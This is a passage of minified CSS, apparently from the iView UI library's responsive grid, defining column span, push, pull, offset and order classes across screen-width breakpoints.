display:block;width:50%}.ivu-col-xs-push-12{left:50%}.ivu-col-xs-pull-12{right:50%}.ivu-col-xs-offset-12{margin-left:50%}.ivu-col-xs-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-xs-11{display:block;width:45.83333333%}.ivu-col-xs-push-11{left:45.83333333%}.ivu-col-xs-pull-11{right:45.83333333%}.ivu-col-xs-offset-11{margin-left:45.83333333%}.ivu-col-xs-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-xs-10{display:block;width:41.66666667%}.ivu-col-xs-push-10{left:41.66666667%}.ivu-col-xs-pull-10{right:41.66666667%}.ivu-col-xs-offset-10{margin-left:41.66666667%}.ivu-col-xs-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-xs-9{display:block;width:37.5%}.ivu-col-xs-push-9{left:37.5%}.ivu-col-xs-pull-9{right:37.5%}.ivu-col-xs-offset-9{margin-left:37.5%}.ivu-col-xs-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-xs-8{display:block;width:33.33333333%}.ivu-col-xs-push-8{left:33.33333333%}.ivu-col-xs-pull-8{right:33.33333333%}.ivu-col-xs-offset-8{margin-left:33.33333333%}.ivu-col-xs-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-xs-7{display:block;width:29.16666667%}.ivu-col-xs-push-7{left:29.16666667%}.ivu-col-xs-pull-7{right:29.16666667%}.ivu-col-xs-offset-7{margin-left:29.16666667%}.ivu-col-xs-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-xs-6{display:block;width:25%}.ivu-col-xs-push-6{left:25%}.ivu-col-xs-pull-6{right:25%}.ivu-col-xs-offset-6{margin-left:25%}.ivu-col-xs-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-xs-5{display:block;width:20.83333333%}.ivu-col-xs-push-5{left:20.83333333%}.ivu-col-xs-pull-5{right:20.83333333%}.ivu-col-xs-offset-5{margin-left:20.83333333%}.ivu-col-xs-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-xs-4{display:block;width:16.66666667%}.ivu-col-xs-push-4{left:16.66666667%}.ivu-col-xs-pull-4{right:16.66666667%}.ivu-col-xs-offset-4{margin-left:16.66666667%}.ivu-col-xs-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-xs-3{display:block;width:12.5%}.ivu-col-xs-push-3{left:12.5%}.ivu-col-xs-pull-3{right:12.5%}.ivu-col-xs-offset-3{margin-left:12.5%}.ivu-col-xs-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-xs-2{display:block;width:8.33333333%}.ivu-col-xs-push-2{left:8.33333333%}.ivu-col-xs-pull-2{right:8.33333333%}.ivu-col-xs-offset-2{margin-left:8.33333333%}.ivu-col-xs-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-xs-1{display:block;width:4.16666667%}.ivu-col-xs-push-1{left:4.16666667%}.ivu-col-xs-pull-1{right:4.16666667%}.ivu-col-xs-offset-1{margin-left:4.16666667%}.ivu-col-xs-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-xs-0{display:none}.ivu-col-xs-push-0{left:auto}.ivu-col-xs-pull-0{right:auto}@media (min-width:576px){.ivu-col-span-sm-1,.ivu-col-span-sm-10,.ivu-col-span-sm-11,.ivu-col-span-sm-12,.ivu-col-span-sm-13,.ivu-col-span-sm-14,.ivu-col-span-sm-15,.ivu-col-span-sm-16,.ivu-col-span-sm-17,.ivu-col-span-sm-18,.ivu-col-span-sm-19,.ivu-col-span-sm-2,.ivu-col-span-sm-20,.ivu-col-span-sm-21,.ivu-col-span-sm-22,.ivu-col-span-sm-23,.ivu-col-span-sm-24,.ivu-col-span-sm-3,.ivu-col-span-sm-4,.ivu-col-span-sm-5,.ivu-col-span-sm-6,.ivu-col-span-sm-7,.ivu-col-span-sm-8,.ivu-col-span-sm-9{float:left;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-col-span-sm-24{display:block;width:100%}.ivu-col-sm-push-24{left:100%}.ivu-col-sm-pull-24{right:100%}.ivu-col-sm-offset-24{margin-left:100%}.ivu-col-sm-order-24{-webkit-box-ordinal-group:25;-ms-flex-order:24;order:24}.ivu-col-span-sm-23{display:block;width:95.83333333%}.ivu-col-sm-push-23{left:95.83333333%}.ivu-col-sm-pull-23{right:95.83333333%}.ivu-col-sm-offset-23{margin-left:95.83333333%}.ivu-col-sm-order-23{-webkit-box-ordinal-group:24;-ms-flex-order:23;order:23}.ivu-col-span-sm-22{display:block;width:91.66666667%}.ivu-col-sm-push-22{left:91.66666667%}.ivu-col-sm-pull-22{right:91.66666667%}.ivu-col-sm-offset-22{margin-left:91.66666667%}.ivu-col-sm-order-22{-webkit-box-ordinal-group:23;-ms-flex-order:22;order:22}.ivu-col-span-sm-21{display:block;width:87.5%}.ivu-col-sm-push-21{left:87.5%}.ivu-col-sm-pull-21{right:87.5%}.ivu-col-sm-offset-21{margin-left:87.5%}.ivu-col-sm-order-21{-webkit-box-ordinal-group:22;-ms-flex-order:21;order:21}.ivu-col-span-sm-20{display:block;width:83.33333333%}.ivu-col-sm-push-20{left:83.33333333%}.ivu-col-sm-pull-20{right:83.33333333%}.ivu-col-sm-offset-20{margin-left:83.33333333%}.ivu-col-sm-order-20{-webkit-box-ordinal-group:21;-ms-flex-order:20;order:20}.ivu-col-span-sm-19{display:block;width:79.16666667%}.ivu-col-sm-push-19{left:79.16666667%}.ivu-col-sm-pull-19{right:79.16666667%}.ivu-col-sm-offset-19{margin-left:79.16666667%}.ivu-col-sm-order-19{-webkit-box-ordinal-group:20;-ms-flex-order:19;order:19}.ivu-col-span-sm-18{display:block;width:75%}.ivu-col-sm-push-18{left:75%}.ivu-col-sm-pull-18{right:75%}.ivu-col-sm-offset-18{margin-left:75%}.ivu-col-sm-order-18{-webkit-box-ordinal-group:19;-ms-flex-order:18;order:18}.ivu-col-span-sm-17{display:block;width:70.83333333%}.ivu-col-sm-push-17{left:70.83333333%}.ivu-col-sm-pull-17{right:70.83333333%}.ivu-col-sm-offset-17{margin-left:70.83333333%}.ivu-col-sm-order-17{-webkit-box-ordinal-group:18;-ms-flex-order:17;order:17}.ivu-col-span-sm-16{display:block;width:66.66666667%}.ivu-col-sm-push-16{left:66.66666667%}.ivu-col-sm-pull-16{right:66.66666667%}.ivu-col-sm-offset-16{margin-left:66.66666667%}.ivu-col-sm-order-16{-webkit-box-ordinal-group:17;-ms-flex-order:16;order:16}.ivu-col-span-sm-15{display:block;width:62.5%}.ivu-col-sm-push-15{left:62.5%}.ivu-col-sm-pull-15{right:62.5%}.ivu-col-sm-offset-15{margin-left:62.5%}.ivu-col-sm-order-15{-webkit-box-ordinal-group:16;-ms-flex-order:15;order:15}.ivu-col-span-sm-14{display:block;width:58.33333333%}.ivu-col-sm-push-14{left:58.33333333%}.ivu-col-sm-pull-14{right:58.33333333%}.ivu-col-sm-offset-14{margin-left:58.33333333%}.ivu-col-sm-order-14{-webkit-box-ordinal-group:15;-ms-flex-order:14;order:14}.ivu-col-span-sm-13{display:block;width:54.16666667%}.ivu-col-sm-push-13{left:54.16666667%}.ivu-col-sm-pull-13{right:54.16666667%}.ivu-col-sm-offset-13{margin-left:54.16666667%}.ivu-col-sm-order-13{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.ivu-col-span-sm-12{display:block;width:50%}.ivu-col-sm-push-12{left:50%}.ivu-col-sm-pull-12{right:50%}.ivu-col-sm-offset-12{margin-left:50%}.ivu-col-sm-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-sm-11{display:block;width:45.83333333%}.ivu-col-sm-push-11{left:45.83333333%}.ivu-col-sm-pull-11{right:45.83333333%}.ivu-col-sm-offset-11{margin-left:45.83333333%}.ivu-col-sm-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-sm-10{display:block;width:41.66666667%}.ivu-col-sm-push-10{left:41.66666667%}.ivu-col-sm-pull-10{right:41.66666667%}.ivu-col-sm-offset-10{margin-left:41.66666667%}.ivu-col-sm-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-sm-9{display:block;width:37.5%}.ivu-col-sm-push-9{left:37.5%}.ivu-col-sm-pull-9{right:37.5%}.ivu-col-sm-offset-9{margin-left:37.5%}.ivu-col-sm-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-sm-8{display:block;width:33.33333333%}.ivu-col-sm-push-8{left:33.33333333%}.ivu-col-sm-pull-8{right:33.33333333%}.ivu-col-sm-offset-8{margin-left:33.33333333%}.ivu-col-sm-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-sm-7{display:block;width:29.16666667%}.ivu-col-sm-push-7{left:29.16666667%}.ivu-col-sm-pull-7{right:29.16666667%}.ivu-col-sm-offset-7{margin-left:29.16666667%}.ivu-col-sm-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-sm-6{display:block;width:25%}.ivu-col-sm-push-6{left:25%}.ivu-col-sm-pull-6{right:25%}.ivu-col-sm-offset-6{margin-left:25%}.ivu-col-sm-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-sm-5{display:block;width:20.83333333%}.ivu-col-sm-push-5{left:20.83333333%}.ivu-col-sm-pull-5{right:20.83333333%}.ivu-col-sm-offset-5{margin-left:20.83333333%}.ivu-col-sm-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-sm-4{display:block;width:16.66666667%}.ivu-col-sm-push-4{left:16.66666667%}.ivu-col-sm-pull-4{right:16.66666667%}.ivu-col-sm-offset-4{margin-left:16.66666667%}.ivu-col-sm-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-sm-3{display:block;width:12.5%}.ivu-col-sm-push-3{left:12.5%}.ivu-col-sm-pull-3{right:12.5%}.ivu-col-sm-offset-3{margin-left:12.5%}.ivu-col-sm-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-sm-2{display:block;width:8.33333333%}.ivu-col-sm-push-2{left:8.33333333%}.ivu-col-sm-pull-2{right:8.33333333%}.ivu-col-sm-offset-2{margin-left:8.33333333%}.ivu-col-sm-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-sm-1{display:block;width:4.16666667%}.ivu-col-sm-push-1{left:4.16666667%}.ivu-col-sm-pull-1{right:4.16666667%}.ivu-col-sm-offset-1{margin-left:4.16666667%}.ivu-col-sm-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-sm-0{display:none}.ivu-col-sm-push-0{left:auto}.ivu-col-sm-pull-0{right:auto}}@media (min-width:768px){.ivu-col-span-md-1,.ivu-col-span-md-10,.ivu-col-span-md-11,.ivu-col-span-md-12,.ivu-col-span-md-13,.ivu-col-span-md-14,.ivu-col-span-md-15,.ivu-col-span-md-16,.ivu-col-span-md-17,.ivu-col-span-md-18,.ivu-col-span-md-19,.ivu-col-span-md-2,.ivu-col-span-md-20,.ivu-col-span-md-21,.ivu-col-span-md-22,.ivu-col-span-md-23,.ivu-col-span-md-24,.ivu-col-span-md-3,.ivu-col-span-md-4,.ivu-col-span-md-5,.ivu-col-span-md-6,.ivu-col-span-md-7,.ivu-col-span-md-8,.ivu-col-span-md-9{float:left;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-col-span-md-24{display:block;width:100%}.ivu-col-md-push-24{left:100%}.ivu-col-md-pull-24{right:100%}.ivu-col-md-offset-24{margin-left:100%}.ivu-col-md-order-24{-webkit-box-ordinal-group:25;-ms-flex-order:24;order:24}.ivu-col-span-md-23{display:block;width:95.83333333%}.ivu-col-md-push-23{left:95.83333333%}.ivu-col-md-pull-23{right:95.83333333%}.ivu-col-md-offset-23{margin-left:95.83333333%}.ivu-col-md-order-23{-webkit-box-ordinal-group:24;-ms-flex-order:23;order:23}.ivu-col-span-md-22{display:block;width:91.66666667%}.ivu-col-md-push-22{left:91.66666667%}.ivu-col-md-pull-22{right:91.66666667%}.ivu-col-md-offset-22{margin-left:91.66666667%}.ivu-col-md-order-22{-webkit-box-ordinal-group:23;-ms-flex-order:22;order:22}.ivu-col-span-md-21{display:block;width:87.5%}.ivu-col-md-push-21{left:87.5%}.ivu-col-md-pull-21{right:87.5%}.ivu-col-md-offset-21{margin-left:87.5%}.ivu-col-md-order-21{-webkit-box-ordinal-group:22;-ms-flex-order:21;order:21}.ivu-col-span-md-20{display:block;width:83.33333333%}.ivu-col-md-push-20{left:83.33333333%}.ivu-col-md-pull-20{right:83.33333333%}.ivu-col-md-offset-20{margin-left:83.33333333%}.ivu-col-md-order-20{-webkit-box-ordinal-group:21;-ms-flex-order:20;order:20}.ivu-col-span-md-19{display:block;width:79.16666667%}.ivu-col-md-push-19{left:79.16666667%}.ivu-col-md-pull-19{right:79.16666667%}.ivu-col-md-offset-19{margin-left:79.16666667%}.ivu-col-md-order-19{-webkit-box-ordinal-group:20;-ms-flex-order:19;order:19}.ivu-col-span-md-18{display:block;width:75%}.ivu-col-md-push-18{left:75%}.ivu-col-md-pull-18{right:75%}.ivu-col-md-offset-18{margin-left:75%}.ivu-col-md-order-18{-webkit-box-ordinal-group:19;-ms-flex-order:18;order:18}.ivu-col-span-md-17{display:block;width:70.83333333%}.ivu-col-md-push-17{left:70.83333333%}.ivu-col-md-pull-17{right:70.83333333%}.ivu-col-md-offset-17{margin-left:70.83333333%}.ivu-col-md-order-17{-webkit-box-ordinal-group:18;-ms-flex-order:17;order:17}.ivu-col-span-md-16{display:block;width:66.66666667%}.ivu-col-md-push-16{left:66.66666667%}.ivu-col-md-pull-16{right:66.66666667%}.ivu-col-md-offset-16{margin-left:66.66666667%}.ivu-col-md-order-16{-webkit-box-ordinal-group:17;-ms-flex-order:16;order:16}.ivu-col-span-md-15{display:block;width:62.5%}.ivu-col-md-push-15{left:62.5%}.ivu-col-md-pull-15{right:62.5%}.ivu-col-md-offset-15{margin-left:62.5%}.ivu-col-md-order-15{-webkit-box-ordinal-group:16;-ms-flex-order:15;order:15}.ivu-col-span-md-14{display:block;width:58.33333333%}.ivu-col-md-push-14{left:58.33333333%}.ivu-col-md-pull-14{right:58.33333333%}.ivu-col-md-offset-14{margin-left:58.33333333%}.ivu-col-md-order-14{-webkit-box-ordinal-group:15;-ms-flex-order:14;order:14}.ivu-col-span-md-13{display:block;width:54.16666667%}.ivu-col-md-push-13{left:54.16666667%}.ivu-col-md-pull-13{right:54.16666667%}.ivu-col-md-offset-13{margin-left:54.16666667%}.ivu-col-md-order-13{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.ivu-col-span-md-12{display:block;width:50%}.ivu-col-md-push-12{left:50%}.ivu-col-md-pull-12{right:50%}.ivu-col-md-offset-12{margin-left:50%}.ivu-col-md-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-md-11{display:block;width:45.83333333%}.ivu-col-md-push-11{left:45.83333333%}.ivu-col-md-pull-11{right:45.83333333%}.ivu-col-md-offset-11{margin-left:45.83333333%}.ivu-col-md-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-md-10{display:block;width:41.66666667%}.ivu-col-md-push-10{left:41.66666667%}.ivu-col-md-pull-10{right:41.66666667%}.ivu-col-md-offset-10{margin-left:41.66666667%}.ivu-col-md-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-md-9{display:block;width:37.5%}.ivu-col-md-push-9{left:37.5%}.ivu-col-md-pull-9{right:37.5%}.ivu-col-md-offset-9{margin-left:37.5%}.ivu-col-md-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-md-8{display:block;width:33.33333333%}.ivu-col-md-push-8{left:33.33333333%}.ivu-col-md-pull-8{right:33.33333333%}.ivu-col-md-offset-8{margin-left:33.33333333%}.ivu-col-md-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-md-7{display:block;width:29.16666667%}.ivu-col-md-push-7{left:29.16666667%}.ivu-col-md-pull-7{right:29.16666667%}.ivu-col-md-offset-7{margin-left:29.16666667%}.ivu-col-md-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-md-6{display:block;width:25%}.ivu-col-md-push-6{left:25%}.ivu-col-md-pull-6{right:25%}.ivu-col-md-offset-6{margin-left:25%}.ivu-col-md-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-md-5{display:block;width:20.83333333%}.ivu-col-md-push-5{left:20.83333333%}.ivu-col-md-pull-5{right:20.83333333%}.ivu-col-md-offset-5{margin-left:20.83333333%}.ivu-col-md-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-md-4{display:block;width:16.66666667%}.ivu-col-md-push-4{left:16.66666667%}.ivu-col-md-pull-4{right:16.66666667%}.ivu-col-md-offset-4{margin-left:16.66666667%}.ivu-col-md-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-md-3{display:block;width:12.5%}.ivu-col-md-push-3{left:12.5%}.ivu-col-md-pull-3{right:12.5%}.ivu-col-md-offset-3{margin-left:12.5%}.ivu-col-md-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-md-2{display:block;width:8.33333333%}.ivu-col-md-push-2{left:8.33333333%}.ivu-col-md-pull-2{right:8.33333333%}.ivu-col-md-offset-2{margin-left:8.33333333%}.ivu-col-md-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-md-1{display:block;width:4.16666667%}.ivu-col-md-push-1{left:4.16666667%}.ivu-col-md-pull-1{right:4.16666667%}.ivu-col-md-offset-1{margin-left:4.16666667%}.ivu-col-md-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-md-0{display:none}.ivu-col-md-push-0{left:auto}.ivu-col-md-pull-0{right:auto}}@media (min-width:992px){.ivu-col-span-lg-1,.ivu-col-span-lg-10,.ivu-col-span-lg-11,.ivu-col-span-lg-12,.ivu-col-span-lg-13,.ivu-col-span-lg-14,.ivu-col-span-lg-15,.ivu-col-span-lg-16,.ivu-col-span-lg-17,.ivu-col-span-lg-18,.ivu-col-span-lg-19,.ivu-col-span-lg-2,.ivu-col-span-lg-20,.ivu-col-span-lg-21,.ivu-col-span-lg-22,.ivu-col-span-lg-23,.ivu-col-span-lg-24,.ivu-col-span-lg-3,.ivu-col-span-lg-4,.ivu-col-span-lg-5,.ivu-col-span-lg-6,.ivu-col-span-lg-7,.ivu-col-span-lg-8,.ivu-col-span-lg-9{float:left;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-col-span-lg-24{display:block;width:100%}.ivu-col-lg-push-24{left:100%}.ivu-col-lg-pull-24{right:100%}.ivu-col-lg-offset-24{margin-left:100%}.ivu-col-lg-order-24{-webkit-box-ordinal-group:25;-ms-flex-order:24;order:24}.ivu-col-span-lg-23{display:block;width:95.83333333%}.ivu-col-lg-push-23{left:95.83333333%}.ivu-col-lg-pull-23{right:95.83333333%}.ivu-col-lg-offset-23{margin-left:95.83333333%}.ivu-col-lg-order-23{-webkit-box-ordinal-group:24;-ms-flex-order:23;order:23}.ivu-col-span-lg-22{display:block;width:91.66666667%}.ivu-col-lg-push-22{left:91.66666667%}.ivu-col-lg-pull-22{right:91.66666667%}.ivu-col-lg-offset-22{margin-left:91.66666667%}.ivu-col-lg-order-22{-webkit-box-ordinal-group:23;-ms-flex-order:22;order:22}.ivu-col-span-lg-21{display:block;width:87.5%}.ivu-col-lg-push-21{left:87.5%}.ivu-col-lg-pull-21{right:87.5%}.ivu-col-lg-offset-21{margin-left:87.5%}.ivu-col-lg-order-21{-webkit-box-ordinal-group:22;-ms-flex-order:21;order:21}.ivu-col-span-lg-20{display:block;width:83.33333333%}.ivu-col-lg-push-20{left:83.33333333%}.ivu-col-lg-pull-20{right:83.33333333%}.ivu-col-lg-offset-20{margin-left:83.33333333%}.ivu-col-lg-order-20{-webkit-box-ordinal-group:21;-ms-flex-order:20;order:20}.ivu-col-span-lg-19{display:block;width:79.16666667%}.ivu-col-lg-push-19{left:79.16666667%}.ivu-col-lg-pull-19{right:79.16666667%}.ivu-col-lg-offset-19{margin-left:79.16666667%}.ivu-col-lg-order-19{-webkit-box-ordinal-group:20;-ms-flex-order:19;order:19}.ivu-col-span-lg-18{display:block;width:75%}.ivu-col-lg-push-18{left:75%}.ivu-col-lg-pull-18{right:75%}.ivu-col-lg-offset-18{margin-left:75%}.ivu-col-lg-order-18{-webkit-box-ordinal-group:19;-ms-flex-order:18;order:18}.ivu-col-span-lg-17{display:block;width:70.83333333%}.ivu-col-lg-push-17{left:70.83333333%}.ivu-col-lg-pull-17{right:70.83333333%}.ivu-col-lg-offset-17{margin-left:70.83333333%}.ivu-col-lg-order-17{-webkit-box-ordinal-group:18;-ms-flex-order:17;order:17}.ivu-col-span-lg-16{display:block;width:66.66666667%}.ivu-col-lg-push-16{left:66.66666667%}.ivu-col-lg-pull-16{right:66.66666667%}.ivu-col-lg-offset-16{margin-left:66.66666667%}.ivu-col-lg-order-16{-webkit-box-ordinal-group:17;-ms-flex-order:16;order:16}.ivu-col-span-lg-15{display:block;width:62.5%}.ivu-col-lg-push-15{left:62.5%}.ivu-col-lg-pull-15{right:62.5%}.ivu-col-lg-offset-15{margin-left:62.5%}.ivu-col-lg-order-15{-webkit-box-ordinal-group:16;-ms-flex-order:15;order:15}.ivu-col-span-lg-14{display:block;width:58.33333333%}.ivu-col-lg-push-14{left:58.33333333%}.ivu-col-lg-pull-14{right:58.33333333%}.ivu-col-lg-offset-14{margin-left:58.33333333%}.ivu-col-lg-order-14{-webkit-box-ordinal-group:15;-ms-flex-order:14;order:14}.ivu-col-span-lg-13{display:block;width:54.16666667%}.ivu-col-lg-push-13{left:54.16666667%}.ivu-col-lg-pull-13{right:54.16666667%}.ivu-col-lg-offset-13{margin-left:54.16666667%}.ivu-col-lg-order-13{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.ivu-col-span-lg-12{display:block;width:50%}.ivu-col-lg-push-12{left:50%}.ivu-col-lg-pull-12{right:50%}.ivu-col-lg-offset-12{margin-left:50%}.ivu-col-lg-order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.ivu-col-span-lg-11{display:block;width:45.83333333%}.ivu-col-lg-push-11{left:45.83333333%}.ivu-col-lg-pull-11{right:45.83333333%}.ivu-col-lg-offset-11{margin-left:45.83333333%}.ivu-col-lg-order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.ivu-col-span-lg-10{display:block;width:41.66666667%}.ivu-col-lg-push-10{left:41.66666667%}.ivu-col-lg-pull-10{right:41.66666667%}.ivu-col-lg-offset-10{margin-left:41.66666667%}.ivu-col-lg-order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.ivu-col-span-lg-9{display:block;width:37.5%}.ivu-col-lg-push-9{left:37.5%}.ivu-col-lg-pull-9{right:37.5%}.ivu-col-lg-offset-9{margin-left:37.5%}.ivu-col-lg-order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.ivu-col-span-lg-8{display:block;width:33.33333333%}.ivu-col-lg-push-8{left:33.33333333%}.ivu-col-lg-pull-8{right:33.33333333%}.ivu-col-lg-offset-8{margin-left:33.33333333%}.ivu-col-lg-order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.ivu-col-span-lg-7{display:block;width:29.16666667%}.ivu-col-lg-push-7{left:29.16666667%}.ivu-col-lg-pull-7{right:29.16666667%}.ivu-col-lg-offset-7{margin-left:29.16666667%}.ivu-col-lg-order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.ivu-col-span-lg-6{display:block;width:25%}.ivu-col-lg-push-6{left:25%}.ivu-col-lg-pull-6{right:25%}.ivu-col-lg-offset-6{margin-left:25%}.ivu-col-lg-order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.ivu-col-span-lg-5{display:block;width:20.83333333%}.ivu-col-lg-push-5{left:20.83333333%}.ivu-col-lg-pull-5{right:20.83333333%}.ivu-col-lg-offset-5{margin-left:20.83333333%}.ivu-col-lg-order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.ivu-col-span-lg-4{display:block;width:16.66666667%}.ivu-col-lg-push-4{left:16.66666667%}.ivu-col-lg-pull-4{right:16.66666667%}.ivu-col-lg-offset-4{margin-left:16.66666667%}.ivu-col-lg-order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.ivu-col-span-lg-3{display:block;width:12.5%}.ivu-col-lg-push-3{left:12.5%}.ivu-col-lg-pull-3{right:12.5%}.ivu-col-lg-offset-3{margin-left:12.5%}.ivu-col-lg-order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.ivu-col-span-lg-2{display:block;width:8.33333333%}.ivu-col-lg-push-2{left:8.33333333%}.ivu-col-lg-pull-2{right:8.33333333%}.ivu-col-lg-offset-2{margin-left:8.33333333%}.ivu-col-lg-order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.ivu-col-span-lg-1{display:block;width:4.16666667%}.ivu-col-lg-push-1{left:4.16666667%}.ivu-col-lg-pull-1{right:4.16666667%}.ivu-col-lg-offset-1{margin-left:4.16666667%}.ivu-col-lg-order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.ivu-col-span-lg-0{display:none}.ivu-col-lg-push-0{left:auto}.ivu-col-lg-pull-0{right:auto}}@media (min-width:1200px){.ivu-col-span-xl-1,.ivu-col-span-xl-10,.ivu-col-span-xl-11,.ivu-col-span-xl-12,.ivu-col-span-xl-13,.ivu-col-span-xl-14,.ivu-col-span-xl-15,.ivu-col-span-xl-16,.ivu-col-span-xl-17,.ivu-col-span-xl-18,.ivu-col-span-xl-19,.ivu-col-span-xl-2,.ivu-col-span-xl-20,.ivu-col-span-xl-21,.ivu-col-span-xl-22,.ivu-col-span-xl-23,.ivu-col-span-xl-24,.ivu-col-span-xl-3,.ivu-col-span-xl-4,.ivu-col-span-xl-5,.ivu-col-span-xl-6,.ivu-col-span-xl-7,.ivu-col-span-xl-8,.ivu-col-span-xl-9{float:left;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto}.ivu-col-span-xl-24{display:block;width:100%}.ivu-col-xl-push-24{left:100%}.ivu-col-xl-pull-24{right:100%}.ivu-col-xl-offset-24{margin-left:100%}.ivu-col-xl-order-24{-webkit-box-ordinal-group:25;-ms-flex-order:24;order:24}.ivu-col-span-xl-23{display:block;width:95.83333333%}.ivu-col-xl-push-23{left:95.83333333%}.ivu-col-xl-pull-23{right:95.83333333%}.ivu-col-xl-offset-23{margin-left:95.83333333%}.ivu-col-xl-order-23{-webkit-box-ordinal-group:24;-ms-flex-order:23;order:23}.ivu-col-span-xl-22{display:block;width:91.66666667%}.ivu-col-xl-push-22{left:91.66666667%}.ivu-col-xl-pull-22{right:91.66666667%}.ivu-col-xl-offset-22{margin-left:91.66666667%}.ivu-col-xl-order-22{-webkit-box-ordinal-group:23;-ms-flex-order:22;order:22}.ivu-col-span-xl-21{display:block;width:87.5%}.ivu-col-xl-push-21{left:87.5%}.ivu-col-xl-pull-21{right:87.5%}.ivu-col-xl-offset-21{margin-left:87.5%}.ivu-col-xl-order-21{-webkit-box-ordinal-group:22;-ms-flex-order:21;order:21}.ivu-col-span-xl-20{display:block;width:83.33333333%}.ivu-col-xl-push-20{left:83.33333333%}.ivu-col-xl-pull-20{right:83.33333333%}.ivu-col-xl-offset-20{margin-left:83.33333333%}.ivu-col-xl-order-20{-webkit-box-ordinal-group:21;-ms-flex-order:20;order:20}.ivu-col-span-xl-19{display:block;width:79.16666667%}.ivu-col-xl-push-19{left:79.16666667%}.ivu-col-xl-pull-19{right:79.16666667%}.ivu-col-xl-offset-19{margin-left:79.16666667%}.ivu-col-xl-order-19{-webkit-box-ordinal-group:20;-ms-flex-order:19;order:19}.ivu-col-span-xl-18{display:block;width:75%}.ivu-col-xl-push-18{left:75%}.ivu-col-xl-pull-18{right:75%}.ivu-col-xl-offset-18{margin-left:75%}.ivu-col-xl-order-18{-webkit-box-ordinal-group:19;-ms-flex-order:18;order:18}.ivu-col-span-xl-17{display:block;width:70.83333333%}.ivu-col-xl-push-17{left:70.83333333%}.ivu-col-xl-pull-17{right:70.83333333%}.ivu-col-xl-offset-17{margin-left:70.83333333%}.ivu-col-xl-order-17{-webkit-box-ordinal-group:18;-ms-flex-order:17;order:17}.ivu-col-span-xl-16{display:block;width:66.66666667%}.ivu-col-xl-push-16{left:66.66666667%}.ivu-col-xl-pull-16{right:66.66666667%}.ivu-col-xl-offset-16{margin-left:66.66666667%}.ivu-col-xl-order-16{-webkit-box-ordinal-group:17;-ms-flex-order:16;order:16}.ivu-col-span-xl-15{display:block;width:62.5%}.ivu-col-xl-push-15{left:62.5%}.ivu-col-xl-pull-15{right:62.5%}.ivu-col-xl-offset-15{margin-left:62.5%}.ivu-col-xl-order-15{-webkit-box-ordinal-group:16;-ms-flex-order:15;order:15}.ivu-col-span-xl-14{display:block;width:58.33333333%}.ivu-col-xl-push-14{left:58.